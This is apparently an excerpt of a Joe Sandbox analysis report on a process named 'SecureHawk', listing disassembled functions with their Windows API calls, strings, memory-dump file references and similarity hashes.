APIs

_memmove.LIBCMT ref: 002FE937
_memmove.LIBCMT ref: 002FE9D0
_free.LIBCMT ref: 002FE9F6
_memmove.LIBCMT ref: 002FEAA9

Strings

#V0, xrefs: 002FE9E2

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: _memmove$_free
String ID: #V0
API String ID: 2620147621-259189717
Opcode ID: d22689c055c4d6b6641a767a8be2b9e4008fc26d2c64fede02d26fee45822fa4
Instruction ID: 209df4d5be0bb4e7168293c728e795060409f2a66be9c31eeee1b826cde62ac8
Opcode Fuzzy Hash: d22689c055c4d6b6641a767a8be2b9e4008fc26d2c64fede02d26fee45822fa4
Instruction Fuzzy Hash: 2A516A716143058FDB2ACF29C481B6BBBE5BF89354F45482DF98A8B360E731E851CB52

Function 0030CF08 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 141COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0030CFBE
_memmove.LIBCMT ref: 0030D05A
_memset.LIBCMT ref: 0030D07E

Strings

ERCP, xrefs: 0030CF29

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: _memset$_memmove
String ID: ERCP
API String ID: 2532777613-1384759551
Opcode ID: cb6de71228b869efddfd8289b0c603b1ee9fe7b4e3857a1d5261ffe0ae0d3d5f
Instruction ID: 58959412749967b8684281df75cbfeead03dd63eb98a5295bb4ffaf7ecc02c01
Opcode Fuzzy Hash: cb6de71228b869efddfd8289b0c603b1ee9fe7b4e3857a1d5261ffe0ae0d3d5f
Instruction Fuzzy Hash: 8851D271A01705DBDB26CF65C8517ABB7F8EF04300F25456EE88ADB291E774EA81CB41

Function 0034A190 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 122windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00351B27: WriteProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,00349C31,?,?,00000034,00000800,?,00000034), ref: 00351B51

SendMessageW.USER32(?,00001104,00000000,00000000), ref: 0034A1DA

Part of subcall function 00351AF2: ReadProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,00349C60,?,?,00000800,?,00001073,00000000,?,?), ref: 00351B1C

Part of subcall function 00351A49: GetWindowThreadProcessId.USER32(?,?), ref: 00351A74
Part of subcall function 00351A49: OpenProcess.KERNEL32(00000438,00000000,?,?,?,00349BF5,00000034,?,?,00001004,00000000,00000000), ref: 00351A84
Part of subcall function 00351A49: VirtualAllocEx.KERNEL32(00000000,00000000,?,00001000,00000004,?,?,00349BF5,00000034,?,?,00001004,00000000,00000000), ref: 00351A9A

SendMessageW.USER32(?,00001111,00000000,00000000), ref: 0034A247
SendMessageW.USER32(?,00001111,00000000,00000000), ref: 0034A294

Strings

@, xrefs: 0034A2AC

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: Process$MessageSend$Memory$AllocOpenReadThreadVirtualWindowWrite
String ID: @
API String ID: 4150878124-2766056989
Opcode ID: 2ccb015d3be3dd32123725cbc81cb40b1a7c968d5b9e3622dd0aa6952c62e3cd
Instruction ID: 2159fb0ba6cacde41cbd4d85eb723e4f568a602c4457abb0281267d8774b628f
Opcode Fuzzy Hash: 2ccb015d3be3dd32123725cbc81cb40b1a7c968d5b9e3622dd0aa6952c62e3cd
Instruction Fuzzy Hash: 99414C76901218AFDB12DFA4CC81FDEBBB8EF49300F004095FA55BB191DA716E49DBA1

Function 003777C6 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 90windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00001009,00000000,?), ref: 0037784E
SetWindowPos.USER32(?,00000000,?,?,?,?,00000004), ref: 00377862
SendMessageW.USER32(?,00001002,00000000,?), ref: 00377886

Strings

SysMonthCal32, xrefs: 00377819

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: MessageSend$Window
String ID: SysMonthCal32
API String ID: 2326795674-1439706946
Opcode ID: f87ed7b89d09e071e71eb1658b5f7538610de45b82fbe85d18384ea117d9cef4
Instruction ID: 269f42ad67c1506d8f3c341b3f241a632f10ca8a495ab730ed6ccdce4e355899
Opcode Fuzzy Hash: f87ed7b89d09e071e71eb1658b5f7538610de45b82fbe85d18384ea117d9cef4
Instruction Fuzzy Hash: 6721D132600218BBDF26CF54CC46FEA3B79EF88714F114214FE586B190D6B5AC65CB90

Function 0037709D Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000180,00000000,?), ref: 00377128
SendMessageW.USER32(?,00000186,00000000,00000000), ref: 00377138
MoveWindow.USER32(?,?,?,?,?,00000000,?,?,Listbox,00000000,00000000,?,?,?,?,?), ref: 0037715D

Strings

Listbox, xrefs: 003770F5

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: MessageSend$MoveWindow
String ID: Listbox
API String ID: 3315199576-2633736733
Opcode ID: 900e8453af9ea3fb24312162915360ac31e6a300751dd239a8a44e4443119219
Instruction ID: f2a773693c9913c8dcc24f745aeb75fbad2009304a90fe8a81a7b30bbdb1208d
Opcode Fuzzy Hash: 900e8453af9ea3fb24312162915360ac31e6a300751dd239a8a44e4443119219
Instruction Fuzzy Hash: E7218032614118BFEF268F54CC45FBB37AEEB89764F018124FA089B190DA75AC518BA0

Function 00377AFB Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 66windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000405,00000000,00000000), ref: 00377B5F
SendMessageW.USER32(?,00000406,00000000,00640000), ref: 00377B74
SendMessageW.USER32(?,00000414,0000000A,00000000), ref: 00377B81

Strings

msctls_trackbar32, xrefs: 00377B36

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: MessageSend
String ID: msctls_trackbar32
API String ID: 3850602802-1010561917
Opcode ID: 6aeaec63e5715db31f268c8f2c68b052d767e75ed07418f10aafebbe2b51a032
Instruction ID: bf18837af886e6b6e4879a7e25b006fcd3f44bb9371659c724ad357d236a2362
Opcode Fuzzy Hash: 6aeaec63e5715db31f268c8f2c68b052d767e75ed07418f10aafebbe2b51a032
Instruction Fuzzy Hash: 6111E732244208BBEF255F60CC06FEB77ADEF89758F124518FB59A7090D275D811DB20

Function 0032B421 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 0032B474: _memset.LIBCMT ref: 0032B481

Part of subcall function 00310A9F: InitializeCriticalSectionAndSpinCount.KERNEL32(?,00000000,?,0032B450,?,?,?,002F100A), ref: 00310AA4

IsDebuggerPresent.KERNEL32(?,?,?,002F100A), ref: 0032B454
OutputDebugStringW.KERNEL32(ERROR : Unable to initialize critical section in CAtlBaseModule,?,?,?,002F100A), ref: 0032B463

Strings

=9, xrefs: 0032B444
ERROR : Unable to initialize critical section in CAtlBaseModule, xrefs: 0032B45E

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: CountCriticalDebugDebuggerInitializeOutputPresentSectionSpinString_memset
String ID: ERROR : Unable to initialize critical section in CAtlBaseModule$=9
API String ID: 3158253471-2880903965
Opcode ID: d2d4e885ea4e89cd04518707ee25b8186092e89004fb95019be470df94cd6ff6
Instruction ID: d59f107d61b0de123411413925980a19e571092891d534db87508bca17daf088
Opcode Fuzzy Hash: d2d4e885ea4e89cd04518707ee25b8186092e89004fb95019be470df94cd6ff6
Instruction Fuzzy Hash: A2E092B42007118FD776AF36E944742BBE8AF04744F01895DE485C6352DBF4E548CB51

Function 0036C4A1 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,003301AA,?), ref: 0036C4AF
GetProcAddress.KERNEL32(00000000,GetSystemWow64DirectoryW), ref: 0036C4C1

Strings

kernel32.dll, xrefs: 0036C4AA
GetSystemWow64DirectoryW, xrefs: 0036C4BB

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: GetSystemWow64DirectoryW$kernel32.dll
API String ID: 2574300362-1816364905
Opcode ID: daaa43313e484f1c4adc045726c0a5e136090bb8ebb27b4c8eb5fd447135a597
Instruction ID: 65bf0a1342de4f13ffbfd4c2ea23c38b0ffe387cdca8608f2d1af11868801184
Opcode Fuzzy Hash: daaa43313e484f1c4adc045726c0a5e136090bb8ebb27b4c8eb5fd447135a597
Instruction Fuzzy Hash: 98E0C23D5107128FE7639B26C818BA276D8BF15755F41D4A9E8CBD2264EB74D840C710

Function 00304B77 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,00304B44,?,003049D4,?,?,003027AF,?,00000001), ref: 00304B85
GetProcAddress.KERNEL32(00000000,Wow64DisableWow64FsRedirection), ref: 00304B97

Strings

kernel32.dll, xrefs: 00304B80
Wow64DisableWow64FsRedirection, xrefs: 00304B91

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: Wow64DisableWow64FsRedirection$kernel32.dll
API String ID: 2574300362-3689287502
Opcode ID: c751d132694498bdb43ed0fe9526c698c61a582c02e98dfe3249881ece32d3bd
Instruction ID: 11d1e6ab5f93cfdb1d582beaa68fa12960261327881e34763eb226a121dc8ad0
Opcode Fuzzy Hash: c751d132694498bdb43ed0fe9526c698c61a582c02e98dfe3249881ece32d3bd
Instruction Fuzzy Hash: B1D012745107128FD7266F31D8297467AD8AF05751F55C869D4D6E2190D770D884C710

Function 00304BAA Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,00304AF7,?), ref: 00304BB8
GetProcAddress.KERNEL32(00000000,Wow64RevertWow64FsRedirection), ref: 00304BCA

Strings

kernel32.dll, xrefs: 00304BB3
Wow64RevertWow64FsRedirection, xrefs: 00304BC4

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: Wow64RevertWow64FsRedirection$kernel32.dll
API String ID: 2574300362-1355242751
Opcode ID: fe63b34373212dcaa1b99d843b29369ad1e91ad9d3c0f245361ccdaa72676043
Instruction ID: e2fe7d154d5f82d1dc1c3242118bc3ae95d8f58b161f89d5bc9941c4655bbcb8
Opcode Fuzzy Hash: fe63b34373212dcaa1b99d843b29369ad1e91ad9d3c0f245361ccdaa72676043
Instruction Fuzzy Hash: D1D0C7B48003128FD322AF30D808B4672E8AF01360F128CAAD8C2D25A0EB70C980CB00

Function 0037120F Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(advapi32.dll,?,0037145E), ref: 0037121D
GetProcAddress.KERNEL32(00000000,RegDeleteKeyExW), ref: 0037122F

Strings

RegDeleteKeyExW, xrefs: 00371229
advapi32.dll, xrefs: 00371218

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: RegDeleteKeyExW$advapi32.dll
API String ID: 2574300362-4033151799
Opcode ID: 9ae633f546de78938d9f48dafd878452ca1bc24c08facdc97c5997e4359cba43
Instruction ID: 8e655dd18a51eb839e23c65252f2c7d92e6e61c53ddf801433c6303cedfbad63
Opcode Fuzzy Hash: 9ae633f546de78938d9f48dafd878452ca1bc24c08facdc97c5997e4359cba43
Instruction Fuzzy Hash: A7D0C2328407128FC3264F34C80925276D8EF2A352F11CD29D4C6D6150DB74C480C700

Function 00369592 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,00000001,003691A6,?,00380980), ref: 003695A0
GetProcAddress.KERNEL32(00000000,GetModuleHandleExW), ref: 003695B2

Strings

kernel32.dll, xrefs: 0036959B
GetModuleHandleExW, xrefs: 003695AC

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: GetModuleHandleExW$kernel32.dll
API String ID: 2574300362-199464113
Opcode ID: fe4fbefd90a0151bbe923d21da1470198da7fe7a20c201397de9984c96ed72f0
Instruction ID: def9891ff945fca076cd09356812fececdf4eaf53e02f151c5ca5fa4a422ff85
Opcode Fuzzy Hash: fe4fbefd90a0151bbe923d21da1470198da7fe7a20c201397de9984c96ed72f0
Instruction Fuzzy Hash: 86D012745107128FD7276F31C85C74676E8AF05752F11CC6AD8C6D6558D7B0C484C710

Function 003055F0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,00305E3D), ref: 003055FE
GetProcAddress.KERNEL32(00000000,GetNativeSystemInfo), ref: 00305610

Strings

kernel32.dll, xrefs: 003055F9
GetNativeSystemInfo, xrefs: 0030560A

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: GetNativeSystemInfo$kernel32.dll
API String ID: 2574300362-192647395
Opcode ID: f6a9bc661989421d62a8c3a6afa3332e6929d19949fe58acd5adc76b2cc00544
Instruction ID: a718f3b3fe754954592985fae5d6edabf9fac02973031c8b7d42d2bcdd78d459
Opcode Fuzzy Hash: f6a9bc661989421d62a8c3a6afa3332e6929d19949fe58acd5adc76b2cc00544
Instruction Fuzzy Hash: D0D0C738820B128FE366AF34C82824776E8AF00361F1688AAD4C2D21A0E770C884CB40

Function 00347B7E Relevance: 6.3, APIs: 4, Instructions: 333COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9343c8d877fb88a49a188a5d55a4ae53078d61e2c8da084e31ed9b065ef9588d
Instruction ID: 9ce2f64ba5ad8f1ca6c0a07ba41685ac89e816d113218a9a9fdd0d893dd8e22a
Opcode Fuzzy Hash: 9343c8d877fb88a49a188a5d55a4ae53078d61e2c8da084e31ed9b065ef9588d
Instruction Fuzzy Hash: 44C13A75A04216EFCB15CFA8C884AAEBBF9FF48714B158598E805EF251D730ED81CB90

Function 0036E4DB Relevance: 6.3, APIs: 4, Instructions: 307memoryCOMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(?,?), ref: 0036E56F
CharLowerBuffW.USER32(?,?), ref: 0036E5B2

Part of subcall function 0036DC56: CharLowerBuffW.USER32(?,?,?,?,00000000,?,?), ref: 0036DC76

VirtualAlloc.KERNEL32(00000000,00000077,00003000,00000040), ref: 0036E7B2
_memmove.LIBCMT ref: 0036E7C5

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: BuffCharLower$AllocVirtual_memmove
String ID:
API String ID: 3659485706-0
Opcode ID: e265bcc0c4947e8b4444f50c7ab589672496fd27472699bb80ab2503c279f2ec
Instruction ID: 0e1a8650e1ecab953ce8dc97d5cb7935b0fd71134238dec6c4c1821a2cd44503
Opcode Fuzzy Hash: e265bcc0c4947e8b4444f50c7ab589672496fd27472699bb80ab2503c279f2ec
Instruction Fuzzy Hash: 54C16975A083018FC706DF28C48096ABBE4FF88718F14896DF9999B351D771E94ACF92

Function 00368545 Relevance: 6.3, APIs: 4, Instructions: 267COMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 00368575
CoUninitialize.OLE32 ref: 00368580

Part of subcall function 0037DC66: CoCreateInstance.OLE32(00000018,00000000,00000005,00000028,?,?,?,?,?,00000000,00000000,00000000,?,003687D6,?,00000000), ref: 0037DCCE

VariantInit.OLEAUT32(?), ref: 0036858B
VariantClear.OLEAUT32(?), ref: 0036885C

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: Variant$ClearCreateInitInitializeInstanceUninitialize
String ID:
API String ID: 780911581-0
Opcode ID: 5d05619aa706f73b119cae2a10370f64ae88593f983d2000627fd91d8885b020
Instruction ID: d825a2f31daa1437da146e4048c9481752f0b6f13f69488353a0e8bd6ae6cf02
Opcode Fuzzy Hash: 5d05619aa706f73b119cae2a10370f64ae88593f983d2000627fd91d8885b020
Instruction Fuzzy Hash: F6A15675214B059FC711EF14C481B2AB7E4BF8C354F148958FA9A9B3A2CB70ED44CB92

Function 0034727E Relevance: 6.2, APIs: 4, Instructions: 202memoryCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 0034728F
SysAllocString.OLEAUT32(00000000), ref: 00347338
VariantCopy.OLEAUT32 ref: 00347367
VariantClear.OLEAUT32(?), ref: 0034738E

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: Variant$AllocClearCopyInitString
String ID:
API String ID: 2808897238-0
Opcode ID: 729af8f8ae62fc64b83240b17fc73d771053de6403b6baebe4ad3aa623863377
Instruction ID: df8f7e017ae0e00b4b83aa6a2cdcbc24ec4de3b599471e07ecd4a94e45b29809
Opcode Fuzzy Hash: 729af8f8ae62fc64b83240b17fc73d771053de6403b6baebe4ad3aa623863377
Instruction Fuzzy Hash: E051C7346187059ADB26AF76D891A3DF7EDEF58321F20881FE546CF791DB70A8808B11

Function 0036F2BE Relevance: 6.2, APIs: 4, Instructions: 164processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 0036F2EE
Process32FirstW.KERNEL32(00000000,?), ref: 0036F2FC

Part of subcall function 00301A36: _memmove.LIBCMT ref: 00301A77

Process32NextW.KERNEL32(00000000,?), ref: 0036F3BC
CloseHandle.KERNEL32(00000000,?,?,?), ref: 0036F3CB

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
